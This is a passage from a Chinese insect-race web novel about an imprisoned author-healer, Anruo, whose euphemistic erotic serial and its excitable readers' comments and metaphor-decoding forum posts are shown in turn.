以他这段时间相处下来对安诺的了解,很难相信这是对方会做的选择,有一种什么破灭了的感觉。 应该说雄虫就是雄虫吗? 至于回信是为了拒绝、也是基础的礼貌和尊重之类的,乌列尔并没有考虑过。 这很不雄虫。 雄虫从来不会将时间精力浪费在自己不喜欢、不在意的雌虫身上。 雄虫的回应本身就代表了态度。 “实在很不好意思,麻烦您了。” 安若也觉得这样太麻烦对方,平白给虫增添了工作量,他心里很过意不去。 于是在精神梳理时,他主动提出今天再多治疗一批雌虫。 心情更加复杂的乌列尔:“……” “既然您有这个精力……我会为您安排。” 他最终还是应下。 从雌虫们的信中得知了精神梳理的重要和来之不易后,安若对这份工作更是打起了十二分精神。 他一天梳理了五十二只军雌,依旧热情高涨,喊着“下一个”,直到被乌列尔强制拎回去休息。 腿长力气大了不起哦。 安若腿也长,他不跟一米九五的雌虫比。 “信件我已检查过,没有问题,之后会通过军方空间快递渠道邮寄给指定军雌,当天就能收到。” 乌列尔说道,看向雄虫的神情格外复杂。 那些信居然真是拒绝信。 说是拒绝也不全对,里面包含了太多保护和鼓励,哪怕有时候言辞激烈,也能看出对方是在为雌虫着想。 从来没有雄虫会用这样麻烦的方式去拒绝雌虫。 乌列尔不知道该不该提醒雄虫,他这样的做法很可能会起反效果。 “谢谢您乌列尔少将,真是麻烦您了。” 安若真诚道谢,很是感激。 “这是我应该做的,没有什么麻烦一说。以及您是雄虫,不用对我用敬语,也不用道谢。” 乌列尔都不知道雄虫的这种习惯是哪里来的,这是只过于礼貌的雄虫。 越礼貌,也就与他最初得知的信息越割裂。 安若:“哦好的,谢谢提醒。” 乌列尔:“……” 很显然雄虫并没有听进去。 安若其实没想太多,口癖也确实很难改掉。 就像现代社会很容易养成说“谢谢”的习惯一样。 对快递员说谢谢,对外卖员说谢谢,对帮忙按电梯、开门的人说谢谢…… 于是也习惯性对帮了他的军雌少将说谢谢。 “您不用对身边的虫太友好礼貌……” 乌列尔还是忍不住开口。 “那些军雌的来信如果打扰到了您,您直接丢掉或者拒收就好了,不用专门回复。” 乌列尔说着不由皱起眉,面色不太好。 他自己都不知道自己在教雄虫什么,教一只雄虫无礼、粗俗、傲慢吗? 可那明明是他最讨厌却也最普遍的雄虫,已经多到不需要再多了。 乌列尔心烦意乱移开视线,甚至都不敢看面前的雄虫是什么反应。 安若张了张嘴,想要反驳,最终还是没说什么。 他没必要去跟自己在监狱的管理者争论什么,顶撞对方对他没有任何好处。 他也不是喜欢在线下辩论的人。 他丰富的表达欲似乎只存在于书中,现实中如非必要,他甚至懒得搭理人。 最终他只轻声回了句:“我知道了,少将。” “嗯……” 乌列尔沉闷应了声,蓦然转身离开。 他脚步很快,军靴重重踏在金属地板上,激起回音震颤。 少将似乎遇到了什么烦心事……甚至都忘了道别,这并不符合他一贯的行事作风。 安若看着军雌离去的方向心想。 不过这与他无关。 他顶多需要考虑一下之后若是收到军雌的信,该怎么回复。 因为乌列尔少将看起来很不乐意做这寄信工作,也确实很麻烦对方。 不管了,之后的事之后再说吧。 安若坐到书桌前,心情激动。 一天过去,他灵感爆棚,迫不及待想把它们都写出来。 他没有进全息舱,而是学了星网上雄虫们骂联邦时一秒十喷的方法,用精神力连接终端打字输入。在坐着工作状态下,享受飞一般的感觉。 …… 【雄虫说要裸睡,克莱尔当然不敢拒绝。 一整天都在为这点事忐忑万分,坐立不安,身体都要烧起来了。 既担心又期待。 很怕自己将一切搞砸。 若是他的身体再次不受控、伤了席安这么办? 克莱尔很想让席安给他戴抑制器,把他的手脚锁起来。 肌肉松弛剂他是不敢再提了。 想到一次就脸黑一次,想穿越回去把那个在雄虫面前提起这个的自己掐死。 席安都还没有用过他,他怎么能在席安面前留下那种印象? 这样的雌虫往往会很快失宠。 而他本就不受宠…… 克莱尔有几分低落,也更加焦虑难安。 席安不愿意限制他,几次提起都被拒绝。克莱尔只能努力让自己的大脑保持清明,希望能靠意志力撑过去。 他得到过一次席安的精神梳理,大脑更加清明,或许能做到。 又或许不能……想起自己今早的糟糕表现,克莱尔并没什么自信。 不管怎样紧张忐忑、心绪难安,夜晚都会如期到来。 晚上,克莱尔把自己仔仔细细洗干净、擦干净。 他在床边深吸一口气,做足心理准备,扯开下半身围着的浴巾,赤果着躺在床上等待。 席安过了半星时才从浴室出来。 他让克莱尔裸睡,自己却穿着睡袍。 单薄顺滑的夏季睡袍,长度正好到膝盖上方,凸显身形高挑,展示出的腿型很好看。 深红的系带围在腰间,勾勒出好看的腰线,垂在腰侧的那一段无比鲜明,让虫心痒难耐,很想扯开。 席安有自己的小心机,他觉得半遮半掩比全露更诱虫。 瞧,雌虫的眼睛都看呆了。 至于他让雌虫全果……那当然是为了摸个痛快。 啊不是,是为了治疗。 ……】 20. 雄虫新兵x昔日教官14 [突然更新!] [惊喜!昨天安神消失了一天,我还以为他也跟克莱尔一样基因匹配结婚去了。] [啊?安神难道不是已婚雌虫吗?能写出这么详细丰富的感情,不像是单身虫啊。] [已婚才不可能。如果结婚了,怎么会写其他雄虫阁下的文?雄主能同意吗?所以安神应该是恋爱经验丰富的雌虫!] [和雄虫恋爱经验丰富……太羡慕了!] 看着那些雌虫的讨论,追更的雄虫都不想给他们眼神,只暗暗在光屏前翻个白眼。 安明显是雄虫啊。 这都分辨不出来? 哪只雌虫能把雄虫的心理描写得那么细致? 瞧瞧他把席安写得多细致,一只高等雄虫精心营造的小心机,别把这些追文的雌虫整高朝了。 雌虫们早就舔了起来。 [呜呜呜席安阁下真好看,半遮半掩,想象一下水都要流出来了。席安阁下身材这么好,身形高挑,腿一定很长舔舔舔,腰线也好看舔舔舔……] [嫉妒死克莱尔了!居然能让雄虫为他花心思做这么多!] [说了克莱尔拥有免喷权,我不喷他,我暗杀他没事吧?] [列入暗杀名单!] [+1,带我一个。] [傻虫还在这嫉妒克莱尔,高段位的虫已经穿上席安阁下认证的同款睡袍,去勾引雄主了。今天必要揣上一个蛋!等我好消息(飞吻)。] [卧靠!还能这样?!这个不要脸的*货!太过分了!] [学是学会了,可我也没有雄主可以实施啊!大哭!] 雄虫们:这个可以欸,自己穿着去找雌虫拉不下脸,但可以让家里的雌虫穿。 也有正处在热恋中的雄虫决定亲身上阵。 这么好看的装扮当然要自己来,这不把那些平日里冷冰冰、不懂情.趣的雌虫迷死? 别的雌虫雄虫怎么样不知道,反正克莱尔已经被迷死了。 …… 【克莱尔只觉浑身的血液都往头上涌。 雄虫明明没有释放信息素,他却仿佛闻到了那甜蜜而蛊惑的香味。 随着雄虫走近,身旁的床垫微微陷下去,他的心也提了起来。 他没有穿衣服,身体上只盖着一层薄被。雄虫会满意这样的他吗?会对他感兴趣吗?他又控制得住自己的身体反应吗?他……能行吗? 席安看似游刃有余,其实心里同样紧张。 童年时期就决定娶的心中男神躺在他床上,等待着他去抱,怎么可能淡定? 他悄悄深吸一口气,在克莱尔身旁躺下。 为了表示自己对克莱尔的尊重,以及这只是必要的“治疗”,他并未第一时间贴上去,手虚虚落在克莱尔腰侧。 这是一个很绅士的动作,像是在参加晚宴舞会,虚揽着舞伴的腰。如果忽略掉克莱尔此时一丝,不挂的话。 哦不,他至少还盖着被子,只是与他毫无阻碍。 席安掩住微勾的嘴角,感受着手下温热坚韧的身体,手指上的银白戒指滑过克莱尔的腰线,激起雌虫的微颤。 为了今晚的一切顺利,席安特意戴上了信息素抑制器。 雄虫主动戴上抑制器,这很不可思议。 抑制器一般是监狱囚犯的待遇。 席安戴的当然不是囚犯戴的那种颈环抑制器。 他选的款式更精致小巧些,是一枚戒指。 而且只抑制信息素,不限制精神力。 一些种族会有交换戒指作为结婚或定情信物的做法,虫族不流行这个。 但当这枚戒指承载上他对克莱尔的感情和克制,它在席安这里也不再是单纯的禁锢工具或装饰品。 席安感受着手下的些微颤栗,低声问克莱尔: “可以接受吗?” “嗯。” 克莱尔沉闷回应,声音有些不稳。 “那我再靠近点。” 席安说着,就将自己贴了上去,脸贴上克莱尔的结实饱满的胸肌。 克莱尔的呼吸陡然一滞,之后变得更加米且重。 他的手下意识抬起,想要抓住什么。但他不敢碰雄虫的身体,就连雄虫身上那冰凉丝滑的纤薄睡袍都不敢碰,那会被雄虫感受到。 最后落在了雄虫腰后侧的床单上,手指蜷缩收拢,紧握成拳,手臂肌肉紧绷着,呈现出一个将雄虫环绕起来的姿势。 席安察觉到克莱尔的动作,并不反感。当然,如果他能跟他贴得更近些他会更喜欢。 现在也不能要求这么多了,慢慢来吧。 克莱尔的身体又热又柔韧又结实,暖得让他不想抬头,将口鼻也一起埋了进去。 感受到克莱尔骤然的紧绷,席安抬手拂过他的背脊,说了句“放松”。 “是,雄主,我,我会做好……”克莱尔双目涣散,难以说出完整的句子。雄虫的脸埋在他胸口,明明简单的相贴,没有太多动作,他却觉得自己要被吃了。 或许是他想被雄虫吃掉,想挺起胸膛将自己送进雄虫嘴里,又或是将雄虫压向自己的身体,压得再紧些,直至完全契合,密不可分。 席安闻到了冰激凌般清凉的信息素,带着雌虫发晴的甜意。 他眼中闪过错愕。 没有信息素的刺激,克莱尔单纯因为他动晴了? 冰在动晴时,会融化成濕漉漉的水。 席安抬眸看向克莱尔,而克莱尔也正好追寻着他低下头来。 离得太近了,目光相触间,呼吸也纠缠在一起,像是连心神都被吸去了。 席安盯着克莱尔的薄唇看。他的嘴唇很薄,唇珠却很明显,这让他的嘴唇显得立体,唇形也很好看,是很帅气诱虫的那种。以前怎么没发现克莱尔的嘴唇都长得这么勾虫? 想亲。 但是不行。抑制器只能抑制他释放信息素,体.液中本身含有的信息素不受影响。 所以他不能真刀真枪地睡克莱尔,甚至不能亲他。 席安心头烦躁。他突然觉得,裸睡这个提议简直是对他自己的折磨。 吃也吃不得,亲也亲不得,把他憋闷坏了。 他必须收回一点利息。 席安将脸埋进克莱尔颈间,细细密密地亲他的脖子,手拂过他的后颈,安抚着他的情绪,同时低声对克莱尔道: “我再给你做次精神梳理。” 克莱尔被亲得身体发软,慢半拍才听清雄虫的话。 他努力凝聚意识,出声道: “您昨天已经给我做过,我的精神数值稳定在70,没有失控的风险,短期内不需要再做。” 克莱尔知道,雄虫都不爱给军雌做精神梳理。 席安娶他并将他从极危状态救回来,他已经很感激了,不想再麻烦席安。 而席安认为这个数值太低了。 才70分,甚至没达到雌虫能自我修复的范畴。 也就是没达到虫族公认的雌虫精神状态轻松舒适的标准线,这怎么能行? 哪怕是80分,他都嫌低。 必须得是满值才能稍稍放心。 他轻咬了口克莱尔的肩膀警告,没敢用力。 低声威胁:“我要你赶快给我好起来,恢复到最佳状态,然后我要狠狠揍你一顿。” 克莱尔把他抛下自己去远征的事,他可还记着。这件事还没翻篇。若不是克莱尔状态太差,他早揍他了。 他跟克莱尔结婚,就是抱着草丝他……哦不,是狠狠揍他的想法进行的基因匹配。 先在床上把克莱尔草丝,再去训练室打一架,打完把克莱尔就地草丝,然后去浴室继续罚他,把他罚得双丘都月中起来。 席安闻着克莱尔颈间的清甜信息素,迷迷糊糊地想着。 克莱尔不知道席安脑子里的幻想,但对席安的话并不觉得意外。 或者说这才对。 席安这两天的温柔几乎让他迷失,美好得太过,反而显得不现实。 如果是为了把他治好再揍他出气,那就合理了。 很符合席安的风格。 他不是会欺负弱者的虫,即使是想揍他,也会先将他治好。 这对雌虫来说,已经是最好的情况。 “谢谢您。” 克莱尔轻声道谢,感激得真心实意。 “哼。”席安轻哼一声。 我要揍他,他还得谢谢我。 不过这声谢谢他收得毫不惭愧。为克莱尔治疗精神域,他也是废了大力气的!理应收取利息。 ……】 [我就知道席安阁下一定会狠狠折磨报复克莱尔!我终于熬到了这一天!(痛哭流涕)] 等待这一天已久的传统虫族文读者们奔走相告,宛如过年。 庆贺得太早,看到后边的雌虫傻了眼。 [等等,这揍是正经的揍吗?罚是正经的罚吗?] [雄虫揍雌虫原来是这样揍的吗?这真的不是奖励吗?你们已婚雌虫平时都吃得这么好?] [个虫行为不要上升至整体。以及!雄虫在睡雌虫的时候也能把雌虫折磨得很惨!尤其是这样的高等雄虫阁下,花样很多,有得是手段,不要被表面文字迷惑了!没你们想的那么美好!] [你看我信吗?高等雄虫不好还有那么多雌虫抢着嫁?再说了,不管真揍假揍怎么折磨,像克莱尔这种能得到高等雄虫精神梳理的,都赚大发了!] …… 【决定了要做精神梳理,席安的手落在克莱尔胸膛,在他首尖猛地一捏,趁他错愕分神之际,精神力涌入他的脑海。 打开军雌的精神域也很容易嘛。 再度轻松进入克莱尔精神内景的席安心道。 精神内景还是之前那副样子。 深红的机甲立于宇宙星海之中,只是没有了天伽追兵,机甲表面也不再破损,而是光洁如新。 他之前的修复很有效果。 席安进入机甲之中,一路来到驾驶室。 看到克莱尔蹲在悬浮椅前,静静看着上边熟睡的雄虫。 似是察觉到什么,克莱尔侧头看来,看到他后,冰蓝的眼睛明显亮了,下意识起身迎上前。 “您来了。” “嗯。”席安上下打量一眼克莱尔,见他状态还算好,身上也没有新添伤口,这才放下心。 发现克莱尔对他的态度比先前明显更郑重,席安心中有所猜测,问他: “你知道我是谁吗?” “席安。” 克莱尔下意识回答,随即想起什么,耳尖慢慢红起来,垂首补了声:“雄主……” 席安心道果然如此。 克莱尔的精神状态恢复到良好后,精神内景中的克莱尔也脱离了之前不断重复的那天,拥有了现在的记忆。 他往前走了两步,看到悬浮椅上盖着克莱尔的外套熟睡的“自己”。 想起刚刚克莱尔蹲在悬浮椅前的画面,心里生出些兴味。 回头打趣般地看向一旁杵着的克莱尔,问:“我一直在那里?” 精神内景中通常不会有除本虫之外的虫,就算有,也大多是个模糊的虚影,像这样细致的极为少见。 克莱尔表情微僵,意识到自己刚刚的模样都被看到了。 他从未这么心虚慌乱过,心乱如麻,手足无措。 他的行为太痴汉了,像是那些对着雄虫做白日梦的雌虫。 将雄虫的模样留在精神域里,还恬不知耻地蹲在旁边长久注视。 这对雄虫来说一定极为冒犯。 但他无法控制自己…… 一切都呈现在雄虫面前,无法狡辩,克莱尔只能硬着头皮如实回答:“是……” 席安觉得他的反应很有趣。 也让他想到有意思的玩法。 他看向悬浮椅上熟睡的自己,心念一动,精神力涌了过去。 精神体席安消失在原地。 而悬浮椅上蜷缩着的红发雄虫缓缓睁开眼。 雄虫撑起身,盖在他身上的军官外套随他的起身动作落下。 他转头,碧绿的眼睛看向克莱尔,轻轻唤了声“教官”。 ……】 21. 雄虫新兵x昔日教官15 【一声“教官”让克莱尔呆了住。 他怔怔看着悬浮椅上身着军装的红发雄虫,一时不知道该叫“席安”还是“雄主”,急得他差点咬到舌头。 “您、您……” “怎么?”席安将头发拨到耳后,抱着腿上的军官外套,仰靠在悬浮椅上,含笑看他。 “我晋升a+级,长官就不认识我了吗?” 那模样,倒像是真的刚晋级一样。 “当然不是。”克莱尔急切道。 他发现自己根本不知道该怎么面对这样的席安。 不管是对待军中士兵的态度,还是对待家中雄主的态度,似乎都不合适。 他们还在机甲里,他和席安也都穿着军装。 这让克莱尔有一种分不清现实和虚幻的恍惚感。 面前的虫既是他的士兵,又是他的雄主。 他既可以以长官的身份命令他,又该像狗一样跪在他的脚下。 “那长官为什么离我这么远?是在我晋级时做了什么心虚事吗?” 席安双腿交叠,右腿军靴悬空,鞋尖轻点。 克莱尔不由自主被他晃动的鞋尖吸引,又因他的话白了脸色。 他做了什么心虚事吗? 他把席安从天伽的追击中带了出来,他抵抗住了雌虫的本能,没有伤害席安。 但他也在雄虫的信息素下流露出丑态。 他意乱神迷,心旌摇曳,对雄虫心存妄想,无时无刻不想被雄虫占有。 他用他的思想玷污了席安。 他问心有愧。 克莱尔的膝盖弯了下去,颓然跪地,面色惨白。 席安:“……?” 这跟他想的不太一样。 他以为克莱尔会“脸红”“害羞”地把对他的渴望说出来,然后顺势被他这样那样。 结果克莱尔跪了。 席安都没舍得让“雌君”克莱尔跪他,结果“长官”克莱尔跪了。 这简直是到反天罡。 席安心里很不自在,但还是忍着那一点不适道:“过来。” 克莱尔膝行靠近,低垂着头,薄唇紧抿,睫毛颤抖着,一副准备迎接惩罚的模样。 他脑海里的“惩罚”绝对跟席安所想的不同。 如果克莱尔情绪稳定,席安也不介意用这种模式陪他玩玩。 但克莱尔显然吓坏了。 席安轻叹一声,伸手将克莱尔拉起来,让他坐在他腿上。 这一举动给克莱尔带来的冲击比席安直接动手揍他还要大。 他宁愿席安踩他踹他羞辱他。 克莱尔根本不敢坐下去,膝盖支撑着,微弓着身,左手撑在悬浮椅背上,整只虫都僵了住。 一双冰蓝的眼睛里满是惶恐,紧张得像是要进入应激状态。 “长官在害怕什么?” 席安抬眸注视着克莱尔,将他脸中的挣扎与恐惧尽收眼底。 他抬手扣着克莱尔的后脑让他低头,倾身迎上去的样子像是要亲他。 克莱尔瞳孔震颤,慌得差点跌坐在席安身上,忙挣动起来。 “席安!你在晋级!你不清醒!” “不清醒的分明是长官吧?又把我们之间的关系忘了吗?” 席安嘟囔了句,亲在了克莱尔唇上,他早就想这么做了。 虽然是在精神内景中,没有那么清晰的触感,但彼此间亲密的感觉反而更深。 就像是……心与心的联结。 克莱尔完全呆住了,身体被雄虫轻易撬开,大脑却在疯狂预警。 他们之间的关系?他们当然是长官和士兵。 恍惚间,克莱尔嗅到了香甜的雄虫信息素。 密闭的机甲驾驶舱,浓郁的雄虫信息素…… 克莱尔仿佛看到了机甲光屏上显示的天伽追兵。 克莱尔双眼失距,颤抖的手落到自己腿上,指尖闪过寒光。 “?!!” 席安简直要被他这个动作整出心理阴影。 不得不先放过克莱尔的唇舌,赶紧抓住他的手,免得他又来一个皮开肉绽、鲜血淋漓。 被雄虫修长的手所握住,雌虫指尖刚覆盖上的一点虫甲立刻收了回去。 能撕裂机甲的利爪落在雄虫手中,无害得像是幼虫的玩具。 克莱尔双眼迷蒙,手却根本不敢动。 机甲驾驶室搭配上香甜的雄虫,这一场景给他留下的影响太大,让他分不清现实和虚幻。 他的信息素液已经流了出来,渴望着雄虫的占有。 身体有多么渴望,脸色就有多苍白。身体热意不止,面上冷汗直冒。 “不行,不能。” 克莱尔低喃着,竭力克制着本能的冲动。 他应该给自己来一爪子,让疼痛和鲜血让自己清醒。可他的手被雄虫握住,他失去了他的武器。 他被雄虫缴械了。 这是他此前从未考虑过的情况,也找不到任何应对之策。 “为什么不能?长官不喜欢我吗?” 席安边问着,边牵引着克莱尔的手放到自己颈后,让他抱住他。 他相信克莱尔做不出让他受伤的事。 “喜欢……但不能这么做,会伤害席安。” 本能和理智在克莱尔脑海中撕扯,几乎将他的意识撕成两半。 可一个连记忆都不清楚的虫,又谈何理智? “不会伤害到我,你忘了吗?我们结婚了,这是我们的婚戒。” 席安抬手给克莱尔展示他手上的戒指,这是他用精神力临时打造的。 克莱尔的视线被那银色的指环吸引。 他根本不知道什么婚戒。 他对此毫无印象。 雄虫在骗他。 可雄虫说他们结婚了。 于是,克莱尔心甘情愿被骗。 趁着克莱尔失神之际,席安按着他的腰,让他坐下去。 克莱尔被吓得几乎弹起来,又很快被镇压。 雌虫有着远超雄虫的力气和身体素质。 可在许多时候,却只能任由雄虫摆布。 克莱尔腿软得没有任何力气,眼睁睁看着自己落到雄虫身上。 他想,他的信息素一定把雄虫的军裤弄脏了。 席安奖励般地亲了亲他,又激起身上雌虫的一阵颤栗。 “长官,可以吗?嗯?雌君?” 席安在他耳边问,轻软的气息拂过他的耳畔。 听到“长官”一词,负罪与恐慌几乎将克莱尔淹没。 可雄虫说想要他,还叫他雌君,他又软了下来。 “嗯,可、可以。” 克莱尔并没有他虫所以为的那样强大的意志力。 席安昏迷时,他能强迫自己熬过去。 但这会,席安抱着他,在他耳边唤他,蛊惑他交出自我。 他将为此犯下不可饶恕的错误。 他像一枚冷硬的蚌,将自己紧闭,警惕着外界的一切。 雄虫与他对接身份……他确认来者是他的主虫,就…… 直到最后,克莱尔倒悬浮椅上,思维涣散,想着对方有没有给他留下一枚珍珠核。 如果有珍珠核,他就能孕育自己的珍珠。 那一定是一枚草莓金色的圆润珍珠,和他的所属者一样漂亮……】 [精神力居然还能这样用,不愧是席安阁下!] [不对,等等,发生了什么?] [什么蚌壳?什么珍珠?这写的是虫族文字吗?为什么克莱尔一副被玩烂了的样子?] 习惯了虫族式小说粗暴直白描述的雌虫们一脸茫然。 [难道说……克莱尔在精神内景里的形象是一枚蚌?] [克莱尔化身成一枚蚌!讨好席安阁下被玩烂了!还想给席安阁下孕育珍珠!] 粗神经的雌虫们自认为发现了真相。 [太过分了克莱尔!居然用这种下作的手段争宠!引诱雄虫尝试异族普雷这种隐秘癖好!] [虫族和蚌有生殖隔离,他这样是不可能怀上的!] [这有什么,反正他要的是珍珠,席安阁下玩他的时候放一颗砂石进去就行了!他都合不拢了,席安阁下给他什么他都只能受着,把那枚戒指丢进去好了。] [别再奖励他了,他都爽飞了!不过变成蚌壳被玩真的有这么爽吗?] 雄虫和亚雌们:“……” 已经对雌虫的情商兼理解能力绝望了。 雌虫大多是粗神经,天赋加点都加在武力值上了。心思更细腻些的亚雌能敏锐理解其中的不同,对这种异族式的写作风格也接受良好。 而雄虫在意的点则完全不同:席安都在精神域里把克莱尔深度标记了,他们在那里讨论蚌壳和珍珠! [这是深度标记!!!雄虫彻底将雌虫标记为自己所属!] 这下轮到所有雌虫亚雌都不明就里了。 [深度标记是什么?雄虫标记雌虫不是应该打开生殖腔标记吗?] 到了夸耀自己学识的时候,提出深度标记的雄虫大发慈悲地解释: [生殖腔标记是普通标记,不具备唯一性,可以被更高等级的雄虫覆盖,影响更小,作用也更小。] [精神标记是深度标记,只有极少数高等雄虫和契合度高的伴侣能做到。 被标记的雌虫精神域里带有雄虫的精神锚点,从此只能接受这一只雄虫,免疫其他所有雄虫的精神控制和信息素。 雄虫留下的锚点还会帮助雌虫稳定精神、保持理智,被深度标记的雌虫永远不会精神暴动!] 永远不会精神暴动。 简单的一句话给雌虫们冲击得虫都傻了。 亚雌还好,他们本身就受精神暴动的影响较小。而雌虫则完全不同。 虫核能量给雌虫带来无与伦比的战力,让他们成为宇宙顶尖的战争机器,却也影响着他们精神稳定,让他们面临着精神暴动的风险。如果不会精神暴动,就相当于雌虫再无短板。 [原来还能这样!居然还能这样?!] [求求了,来一只雄虫深度标记我吧!我不挑,随便哪只雄虫都行,只要能免除精神暴动。] [别想了,哪有那么容易的事?高等雄虫加高契合度,二者缺一不可。要真像是你们想的那么简单,大街上随便拉一只雄虫就能标记,那世界上早就没有精神暴动的雌虫了。] 这话一出,雌虫们对拥有这一切的克莱尔心情更加复杂,又是羡慕又是嫉妒,还有种不太愿意承认的代入爽感,恨不能魂穿克莱尔。 #暗杀克莱尔# #深度标记# #克莱尔生不出珍珠# #克莱尔又爽了# 22 蝴蝶扇动翅膀 安若做完精神梳理任务,回到囚室,便躺在他舒适的大床上刷评论和星网热议。 现在这张过于宽敞的大床已经不会让他感到不安。 他的工作都在治疗室里进行,没有雌虫会贸然闯入他的房间。 哪怕是经常来接他和送他回囚室的乌列尔少将,也只是很有分寸地停在门外,不会轻易踏足其中。 这段时间以来,进他房间最多的是负责打扫和送餐的小机器虫。 小机器虫每天来给他送餐,问他有什么需求,如果他没有特殊吩咐,它就像巡视领地一样打扫卫生,收拾房间,整理他用完随手放的物品……就连他洗完澡换下来打算攒两天一起洗的衣服,它见了也会洗干净、烘干、折叠好收进衣柜。 这是一个让安若很喜欢、很有安全感的房间,幸福指数拉满。 作为一只雄虫,他哪怕出去租公寓,可能都租不到这么好的房子。 没有这么高素质的邻居,也没有这么好的安保和服务。 安若放松地刷着光屏。 雌虫读者都相当嘴硬,言辞最激烈的是他们,打赏最多的也是他们。 一边对克莱尔又嫌弃又羡慕又嫉妒,一边哐哐砸钱。 嘴上越酸,砸钱越多。 明显心里不止是酸的,也是爽的。 只是虫族爽文太少,就算有也是事业线,感情类爽文极端罕见,他们根本理不清自己的心理感受,也不知道自己真正想看什么。 就像是一边吐槽书里的情节一点也不现实、一边天天蹲更新一样。 还有就是……虫族雌虫都更习惯简单直白的表述,脑子一根筋,只能理解表层含义,对某些含蓄的表达理解无能。 这让安若不由担心起来。 写的东西读者看不懂,这对作者来说可不是好事。 难道他要尝试虫族那种简单粗暴的写法吗? 安若想象了下虫族小说中那仿佛医学解剖一样满屏的肢体器官字眼。 手臂,腿,腰,臀,胸,翅翼,孕囊,肠子,血管,动脉,静脉,肌肉,肩胛骨,头盖骨,肾脏,肝脏,心脏…… 不行,先去吐一会。 安若捂着嘴,面色发青。 这太考验他的承受能力了。 虫族本土小说风格学不了一点。 为什么雄虫不喜欢看传统虫族小说。 这玩意谁敢看啊? 虫族小说的黄暴是真的“黄色+暴力”,不含任何虚假成分。 雌虫看这种东西真的不会萎吗? 安若一边疑惑,一边思考着该怎么处理,这时光屏上正好刷出几条新的评论。 [难怪我看得信息素止不住地流!原来这个蚌壳、这个珍珠是这个意思!我还以为我有异族癖!] [什么什么?不就是变成蚌壳取悦席安阁下,然后获得深度标记吗?] [没这么简单,也不是什么真的蚌壳,指路艾拉阁下发的新帖!快去看!看完你们会谢我的。] 安若也好奇去星网搜索。 除了某些特殊账号,星网都是实名制,他一输入“艾拉”,就立刻搜到了一系列相关账号。 【艾拉-C】 排列在第一的账号带着C级雄虫的白银标记,头像是一只捧着花、笑容甜美的雄虫。 白发粉瞳,很少见的相貌。 安若多看了一眼,点进他的主页。 主页背景是雄虫跟一只红发雌虫的合影。 满园春色的花圃之中,雌虫单手抱起雄虫,雄虫手忙脚乱地扶着帽子,低头看雌虫,神情有几分嗔怪,但更多是被爱意滋养的甜蜜。 啊,是那只小白化。 安若顿时想了起来。 写的文太多,时间又过去了太久,很多角色名字都记不清了,只有一些鲜明的特征和情节还存留在他的记忆里。 罕见的白化雄虫,在原书中只出场了不到三章的角色,但不管是给读者还是作者都留下了极为深刻的印象。 悲剧就是最刻骨铭心的。 …… 安若不忍地移开视线。 正好看到下方热度极高的新帖。 《关于教官一文中“蚌”和“珍珠”的解析》 相信教官的新章大家都看了,并对其中出现来的蚌和珍珠感到很费解。 克莱尔在精神内景里变成蚌壳了吗? 当然不是!!! 这其实是一种更含蓄和更具美感的写作手法。 将克莱尔比作蚌,用对河蚌的侵占搅弄,代指席安对克莱尔的占有与标记。 有效提升了语言表达效果,使之更鲜明生动。 还没听懂?那就只能再说清楚一点了。 “蚌”是克莱尔的身体。 “蚌壳”是克莱尔的外在防御,可以当做是克莱尔对外界的警惕防备,或者是克莱尔的衣服,哪怕是生殖腔也可以。 …… 圆滚滚的“珍珠”是圆滚滚的虫蛋,之所以是草莓金色,是因为克莱尔想给席安小草莓生虫蛋,和席安一样发色的幼崽。 知道珍珠是什么了,“珍珠核”就很容易理解了。珍珠核是珍珠的种子,最终能孕育成珍珠。那究竟是什么呢?好难猜啊! 更多的词我就不一一细说了,免得被我雌君看见。 大家自行理解,实在不懂的其他虫的贴子也有分析。 总之,安神写得实在是太好了! 有别于传统虫族小说大量的肢体、器官以及动作描写,用词唯美含蓄,带给虫更多的想象空间。 这就像是纤薄睡衣的半遮半掩,远比干巴巴展露在虫面前更具有吸引力。 第一次遇见雄虫也能看下去的文!超喜欢! 给安神疯狂打call!!! …… 这篇帖子讨论度很高,很多雌虫在底下留言,纷纷表示长姿势了。 [感谢艾拉阁下解惑!原来是这个意思!我昨天看那部分好激动,还以为自己是异族癖,都准备喝药调理去了,还好还好,我果然还是喜欢漂亮雄虫的正常雌虫。] [我更惨,为了验证,我还特意去找异族的电影看,看他们交酉己我的精神值都下降了!] [完啦!昨天我雄主看完书,羞涩地跟我说想玩蚌壳,我没听懂,伤心地去市场买了一斤水产给雄主送去,他黑着脸把我踹了出来。] [嘶……兄弟你是这个,全场下来你最惨。] [好了,我学会了,以后跟席安阁下表白应该说:请您撬开我的蚌壳,搅烂我的蚌肉,让我怀上您的珍珠。] [学会了!学会了!我这就去书评区向席安阁下表白。] [话说这种写作方法好特别,完全不像是雌虫的风格,安神难道是一只博学多才的亚雌?] [很有可能,安神明显心思更加细腻。] [喂,不能90%的雌虫神经粗大,就觉得没有心思细腻的雌虫了啊,在大基数下总有特殊的个体。] 读者们再次就安的性别展开争论,现在猜“安”是什么的都有了。 从最开始的雌虫,到雄虫们坚决认定的雄虫,再到现在的亚雌…… 总之,“安”是一个性别不明的生物。 在这个实名制的星网,“安”的存在极为特殊。 没有真实姓名,没有性别,一切信息未知。 也不是没有虫去查过安。 但每每查到军区驻地,就没有虫敢再查下去。 私自探查军区内部信息,形同窃取军事机密,重则以叛国论处。 没有虫敢去冒这个风险。 不过也因为军区驻地这一定位的特殊性,读者们还是更偏向于安是雌虫,军雌。 第一军区的军官们都被猜了个遍。 连乌列尔中将都在猜测名单内。 就是没有虫往军区监狱的雄虫身上想。 一是提起军区驻地,很少有虫会联想到雄虫,这是思维盲区。 二是监狱的雄虫梳理师忙着呢,哪有空干这个? 这让安若可以安心在光屏后刷着留言,看他们讨论。 安若给这篇帖子点了个赞。 艾拉的分析贴是热度最高的,但不是唯一一篇。 有这样一群雄虫读者在,他可以不用考虑改变写作手法了。 与其他去适应虫族的风格,不如让虫族来适应他。 视线落到贴主的头像上,照片中的白化雄虫笑容灿烂。 想到书中对方最后的结局,安若心情复杂。 这是一只活生生的虫,不是小说故事里的虚拟角色,他没法跟自己说“双死就是HE”这种话。 …… 尤利西斯执政后期,政策愈发极端,甚至做出圈养雄虫、把雄虫当军需品分配的事情来。 议员长卡西安和他的家族早早向尤利西斯元帅效忠,绑定在了他的船上。 这是一条不得不上的船,军权把控政权,议员长这个位置上只能是军方的“自己虫”,卡西安别无选择。 但卡西安本虫的政见其实与尤利西斯并不相符。 亲自签字颁发那些极端的政策,目睹着它们推行,这给他带来的折磨很大。 可他不能退,也退不得。 这样的局势下,他的雄主只能在他身边才安全。 为了保护他脆弱的雄主和他的家虫,他只能坚定地站在尤利西斯身后。 